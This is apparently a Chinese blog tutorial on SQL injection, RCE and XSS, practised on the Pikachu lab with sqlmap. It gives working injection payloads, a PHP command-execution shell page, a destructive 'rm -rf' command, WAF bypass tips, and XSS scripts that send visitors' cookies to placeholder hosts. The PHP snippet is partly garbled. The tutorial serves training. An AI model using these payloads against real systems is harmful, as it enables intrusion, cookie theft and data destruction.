【网络安全】护网系列-web漏洞(SQl、RCE、XSS)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 【网络安全】护网系列-web漏洞(SQl、RCE、XSS)

三、Web安全-漏洞

1. SQL 注入

1.1 pikachu靶场环境安装

下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
AI 代码解读

1、下载pikachu-master安装包

2、在phpstudy的www目录下解压

image-20230714220342737.png

3、更改WWW\pikachu-master\inc 目录下的config.inc.php文件

1.png

4、开启phpstudy,在浏览器中访问网站

开启小皮服务

image-20230714222159773.png

如果在物理机,需要先把mysql服务关掉,然后打开小皮启动mysql

services.msc
AI 代码解读

image-20230714222059259.png

2.png

访问成功

image-20230714222420534.png

5、初始化成功

image-20230714223647466.png

1.2 SQL注入原理

在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。

导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行

从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。

1.3 判断注入点

漏洞可能存在的地方

1.3.1 登录框

万能密码

假设原验证登陆语句:

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
AI 代码解读

输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:

SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
AI 代码解读

不管密码是什么都能登录成功,达到后面的语句无论是什么都不会被提交

image-20230714224339531.png

优先级or > and > not

1.3.2 查询

image-20230714224711890.png

1.3.3 订单处理

在类似淘宝订单提交处,有一个控制id提交的地方,可能存在SQL注入

1.3.4 获取http头功能点

X-forward-for字段可能将数据记录进数据库,存在数据交互

cookie也会存放到数据库,有cookie的地方也有注入

user-Agent也可能把浏览器的指纹信息放到数据库

Referer字段也可能

1.4 注入点查看

1.报错注入

有注入一定有响应,通过页面的报错信息判断

2.盲注(页面不返回错误信息)

1.布尔盲注
    一般通过
    1and 1=1#
    判断
    还可以观察字节长度来判断结果

    不成立的时候返回的是同一个页面,成立是另一个
2.时间盲注
    kobe'+and+sleep(5)--+
    如果成立的话延时5秒再反应,判断是否有注入
AI 代码解读

image-20230714225851920.png

1.5 SQL注入常见类型

报错注入


1、报错函数  
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string 

ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
AI 代码解读
1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+
AI 代码解读

盲注


盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:kobe'+and+ascii(substr(database(),2,1))=105--+
AI 代码解读

1.5.1 sql查询

除了查看数据库 还有会使用到的其他函数:

1、user()查当前的用户为:user() =>select user();

2、 Version();当前 mysql 的版本

union select 1,2,version()

3、 Database();当前网站使用的数据库

union select 1,2,database()

4、 User();当前 MySQL 的用户

union select 1,2,user()

5、 system_user(); 系统用户名

6、session_user();连接数据库的用户名

7、current_user;当前用户名

8、load_file();读取本地文件

9、@@datadir:读取数据库路径

10、@@basedir:mysql安装路径

9、length(str) : 返回给定字符串的长度,如 length(“string”)=6

10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”

substr()、stbstring()、mid() 三个函数的用法、功能均一致

11、concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接

12、group_concat(username) :将username数据查询在一起,用逗号连接

Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

1.5.2 联合查询

information_schema.schemata:
该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库

information_schema.tables:
该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集

information_schema.columns:
该数据表存储了mysql数据库中的所有列的列名
AI 代码解读
字段
a' order by 1#
获取表
a' union select table schema,table name frominformation schema.tables where table schema='pikachu'#
获取字段
a' union select table name,column name frominformation schema.columns where table name='users'#
union select username,password from users#

SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
AI 代码解读

1.6 waf绕过和sqlmap使用

1.6.1 waf绕过

1、等于号:
2Substr,mid等
3、逗号  
4And/or
AI 代码解读
(1)WAF概念

WEB应用防护系统(Web Application Firewall)简称WAF,

是通过WEB应用防火墙专门针对HTTP/HTTPS的安全策略来为Web应用提供保护的一款产品

在网站防护上WAF对比传统的防火墙有更加有效的防护效果。

(2)WAF主要功能

1、可拦截常见的web漏洞攻击,例如SQL注入、XSS跨站、获取敏感信息、利用开源组件漏洞的攻击等常见的攻击行为。

2、可提供0Day,NDay漏洞防护。当发现有未公开的0Day漏洞或者刚公开但未修复的NDay漏洞被利用时,WAF可以在发现漏洞到用户修复漏洞这段空档期对漏洞增加虚拟补丁,抵挡黑客的攻击,防护网站安全。

3、可以对访问请求进行控制,可以主动识别、阻断攻击流量,就如现在智能化的AI,可以发觉安全威胁对其主动进行防御。不限制于被动状态下的规则和策略去防护。

4、可以实时阻断黑客通过web漏洞试图入侵服务器、危害用户等恶意行为。

(3)WAF工作原理

WAF工作方式是对接收到的数据包进行正则匹配过滤

如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。

所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。

1.6.2 扫描语法

1、-u 指定目标url

2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。

3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包-->将请求复制到txt中即可)

4、-p "username,id" # 指定要扫描的参数

5、--proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标

6、--force-ssl # 使用HTTPS连接进行扫描

7、--delay="3" # 每次http请求之间的延迟时间,默认无延迟

8、--timeout="10" # 请求超时时间,浮点数,默认为30秒

9、--level

2:检测cookie中是否含有注入
AI 代码解读
3:检测user-agent、referer是否含有注入
AI 代码解读
5:检测host是否含有注入
AI 代码解读

10、--risk 默认1,最高4,等级高容易造成数据被篡改风险

11、--threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性

12、--dbms="Mysql" # 指定数据库类型,还可以加上版本 Mysql

13、--os="Windows" # 指定操作系统,还可以是Linux

1.6.3 查询语法

  1. --users # 查询所有的数据库账号

  2. --dbs # 查询所有数据库

  3. --schema # 查询源数据库(包含定义数据的数据)

  4. -a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等

  5. -D dvwa# 指定数据库

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables

    -T 是查看某个数据表

    --columns 查看的表中的所有字段

    命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns

    --dump 查看所有字段的内容

  1. --current-user # 查询当前数据库用户

  2. --current-db # 查询当前数据库

  3. --hostname # 查看服务器的主机名

    1. --columns # 查看所有的字段
  4. --tables # 查看所有的表

2.远程代码执行漏洞RCE(核弹级)

RCE(任意代码执行漏洞)

Web服务

远程代码执行漏洞是因为前后端项目(黄色部分)出现漏洞,它不像常见的漏洞

它可以执行任何的命令,权限非常高,危害严重

image-20230715213918517.png

2.1 RCE概述

2.1.1 含义

所有漏洞中危害等级最高的漏洞

含义:程序中预留了一个执行代码/命令的接口,地址的参数又可以通过前端url参数或者界面中的输入框指定,最终导致该接口被利用,控制服务器

2.1.2 PHP演示

首先将一个PHP文件放到小皮更目录下

image-20230715214707832.png

然后打开这个php

<?php
$html='';
if(isset({
   
   mathJaxContainer[2]}_POST['cmd'] != null){
   
   
    {
   
   mathJaxContainer[3]}_POST['cmd']);
    // $html.=shell_exec($_GET['id']);
}
?>

<div id="comm_main">
    <p class="comm_title">超级运维管理后台</p>
    <form method="post">
        <input class="ipadd" type="text" name="cmd" />
        <input class="sub" type="submit" name="submit" value="提交" />
    </form>
</div>
<?php echo $html;?>
AI 代码解读

最核心的函数是shell_exec,它可以从前端参数拿到一个cmd的值,并且执行它

然后打开网页

image-20230715221319253.png

在输入任意一个命令

ipconfig
AI 代码解读

会看到显示了IP信息

image-20230715221426115.png

image-20230715221911199.png

同时,也可以执行Linux操作系统的命令

比如输入命令,清理所有内容

rm -rf/*
AI 代码解读
不区分两个含义
RCE=
Remote Code Execute 远程代码执行
Remote Command Execute 远程命令执
AI 代码解读

2.1.3 危害

1、窃取服务器的敏感数据、文件

2、对电脑的文件加密,实施勒索

3、运行恶意代码,比如挖矿程序

4、拒绝服务

5、作为跳板机攻击其他人

2.1.4 漏洞价值

白帽黑客成功找到Zoom的远程代码执行漏洞 获得20万美元奖励
https://baijiahao.baidu.com/s?id=1696628704159847927
微软给360白帽黑客发20万美元漏洞挖掘奖励
https://baijiahao.baidu.com/s?id=1621984874665303330
Google 提高 Android 13 漏洞赏金,最高 150 万美元
https://www.51cto.com/article/708026.html
AI 代码解读

2.1.5 漏洞发送前提

1、系统或者软件代码中使用了执行命令的函数(exec)

2、执行的命令是可以通过参数控制的(前端传参)

3、有一个可以在外网可以访问的入口(做目录扫描发现的地址)

2.2 RCE案例

2.2.1 常见RCE漏洞成因

不一定要自己调用方法,可以编写一个恶意代码,诱导服务器将木马下载下来

image-20230715223430769.png

RCE漏洞是结果

2.2.2 RCE漏洞典型案例

网上搜索一下关键词,都有漏洞相关文章

微信RCE漏洞
OfficeRCE漏洞
AI 代码解读

image-20230715224020147.png

2.3 RCE挖掘

公开的可以使用Nday,复现RCE漏洞

2.3.1 分析方法

1、黑盒
只给一个ip、域名
AI 代码解读

抓包中出现了以下参数名,可能存在漏洞

exec=?、command=?、execute?、ping=?、
include=?、exclude=?、jump=?、code=?、reg=?、
do=?、func=?、arg=?、option=?、load=?、
process=?、step=?、read=?、function=?、req=?、
feature=?、exe=?、module=?、payload=?、run=?、
print=?
AI 代码解读

image-20230715225033521.png

用漏洞扫描软件可以更加全面

2、白盒、逆向
公司在产品上线前做代码审计,直接能看到源码
AI 代码解读

直接在代码中搜索这些内容,看在哪些地方被调用

相关函数
PHP
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、
eval()……

Java
Runtime.getRuntime().exec()…… 

Python
os.system()、os.popen()、subprocess.call()、os.spawn()……
AI 代码解读

还可以通过everthing搜索

选择高级搜索

image-20230715225532220.png

安全相关社区、论坛

freebuf
t00ls
看雪
卡饭
先知
微步
吾爱
AI 代码解读

2.4 RCE防御

2.4.1 防御思路

1、从入口(HTTP流量)防御(自研)
2、产品升级(开源、采购或者使用第三方组件)
3、白名单(命令、IP)
4、安全产品(waf,花钱,联网更新)
5、编码、配置角度(关闭高危函数)

有些漏洞发生在客户端,只能使用强制更新才能使用,来修补漏洞
AI 代码解读

2.4.2 常见绕过思路

等价函数 
大小写绕过 
双写绕过 
编码绕过 
特殊字符绕过
…… https://blog.csdn.net/qq_41315957/article/details/118855865
AI 代码解读

3. XSS漏洞

XSS,即跨站脚本攻击

是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本

(通常是一段由JavaScript编写的恶意代码

当信任此Web服务器的用户访问 Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。

XSS分类一般如下:

1、反射型XSS 
2、存储型XSS 
3、DOM型XSS
AI 代码解读
JS可以干嘛

alert(1) //弹出1 
    <script>alert(1)</script>

alert(document.cookie) //弹出当前cookie 
    <script>alert(document.cookie)</script>

document.location = 'http://www.baidu.com' 

。。。。。(JS代码可以随便写想干嘛就干嘛)
AI 代码解读

3.1 反射型XSS漏洞

反射型XSS,也称为非持久性XSS,是最常见的一种XSS
AI 代码解读

低危漏洞,没什么用

image-20230716202521675.png

打开pikachu靶场,我们选择Cross-Site-Scripting下的反射型(get)

输入1

返回

image-20230716204507377.png

提交kobe,返回正确的值

image-20230716204401544.png

我们打开检查

image-20230716204707753.png

现在尝试输入

<script>alert(1)</script>
AI 代码解读

发现输入框被限制长度

image-20230716204820853.png

我们把它长度改为200

image-20230716204920618.png

然后提交,确实出现弹窗,JS代码被执行

image-20230716205033065.png

会发现,代码已经被嵌入进去,被当成JS解析

image-20230716205132275.png

但是刷新一次页面,JS代码会消失,服务器不会永远存在(反射型XSS)

3.2 存储型XSS漏洞

存储型XSS,也称为持久性XSS,JS代码会存在后台

image-20230716205401024.png

我们输入的记录,它会保存下来

image-20230716205525756.png

现在尝试输入JS代码

<script>alert(1)</script>
AI 代码解读

嵌入到服务器中,每次提交数据都会执行JS代码

永久性保存到服务器

image-20230716205802375.png

3.3 DOM型XSS漏洞

DOM型XSS,其实也是一种反射型,但是输入的语句不是JS的语句,是DOM语法

image-20230716205946862.png

DOM全称Document Object Model

是一个与平台、编程语言无关的接口

它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分

我们输入123123

会发现被写入标签中

image-20230716210446988.png

DOM型没有太大危害,也没法被利用

image-20230716210727967.png

3.4 利用XSS如何实现攻击

image-20230716210826375.png

将电脑的cookie信息发送到xxx.com上

document.location = 'http://www.xxx.com/cookie.php?cookie='+document.cookie;
AI 代码解读

image-20230716210933183.png

用户会访问该页面,浏览器会将用户的kookie信息发送到黑客电脑

image-20230716211048966.png

案例

假设用户界面是首页

image-20230716211420513.png

黑客页面是XSS后台

image-20230716211501449.png

image-20230716211602374.png

黑客后台

image-20230716211656954.png

通过这里才看到搜集的cookie

image-20230716211718915.png

这里是黑客接收cookie的页面

image-20230716212043298.png

下面JS代码是将跳转的黑客的页面,并将cookie发过去,谁访问该页面,就将cookie发过去

<script>document.location = 'http://xss.com/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
AI 代码解读

我们在黑客的页面提交

image-20230716212642724.png

提交之后,在用户的界面看到留言

image-20230716212752069.png

然后去查看cookie结果

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
打赏
0
0
0
0
20
分享
相关文章
|
2月前
|
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
104 0
Nipper 3.8.0 for Windows & Linux - 网络设备漏洞评估
Nipper 3.7.0 Windows x64 - 网络设备漏洞评估
Nipper 3.7.0 Windows x64 - 网络设备漏洞评估
71 0
Nipper 3.7.0 Windows x64 - 网络设备漏洞评估
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
如何在Django中正确使用参数化查询或ORM来避免SQL注入漏洞?
417 77
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
除了使用Django的ORM,还能通过什么方式在Django中避免SQL注入漏洞?
187 73
|
4月前
|
thinkphp5之sql注入漏洞-builder处漏洞
在Web应用开发中,SQL注入是一种需要高度警惕的安全漏洞。通过深入理解ThinkPHP5中的SQL查询机制,并结合安全编码实践,开发者可以有效防止SQL注入攻击,保障应用的安全性和稳定性。
158 13
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将从网络安全漏洞、加密技术和安全意识三个方面进行探讨,旨在提高读者对网络安全的认识和防范能力。通过分析常见的网络安全漏洞,介绍加密技术的基本原理和应用,以及强调安全意识的重要性,帮助读者更好地保护自己的网络信息安全。
136 10
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
随着互联网的普及,网络安全问题日益突出。本文将介绍网络安全的重要性,分析常见的网络安全漏洞及其危害,探讨加密技术在保障网络安全中的作用,并强调提高安全意识的必要性。通过本文的学习,读者将了解网络安全的基本概念和应对策略,提升个人和组织的网络安全防护能力。
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们日常生活中不可或缺的一部分。本文将深入探讨网络安全漏洞、加密技术和安全意识等方面的问题,并提供一些实用的建议和解决方案。我们将通过分析网络攻击的常见形式,揭示网络安全的脆弱性,并介绍如何利用加密技术来保护数据。此外,我们还将强调提高个人和企业的安全意识的重要性,以应对日益复杂的网络威胁。无论你是普通用户还是IT专业人士,这篇文章都将为你提供有价值的见解和指导。
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已经成为了我们生活中不可或缺的一部分。本文将介绍网络安全的基本概念,包括网络安全漏洞、加密技术以及如何提高个人和组织的安全意识。我们将通过一些实际案例来说明这些概念的重要性,并提供一些实用的建议来保护你的信息和数据。无论你是网络管理员还是普通用户,都可以从中获得有用的信息和技能。
108 0
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为全球关注的焦点。本文将探讨网络安全漏洞、加密技术以及提升安全意识的重要性。通过深入浅出的解释和实际案例分析,我们将揭示网络攻击的常见手段,介绍加密技术如何保护数据安全,并强调个人和企业应如何提高安全防范意识。无论你是IT专业人士还是普通网民,这篇文章都将为你提供宝贵的信息和建议,帮助你在网络世界中更安全地航行。

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问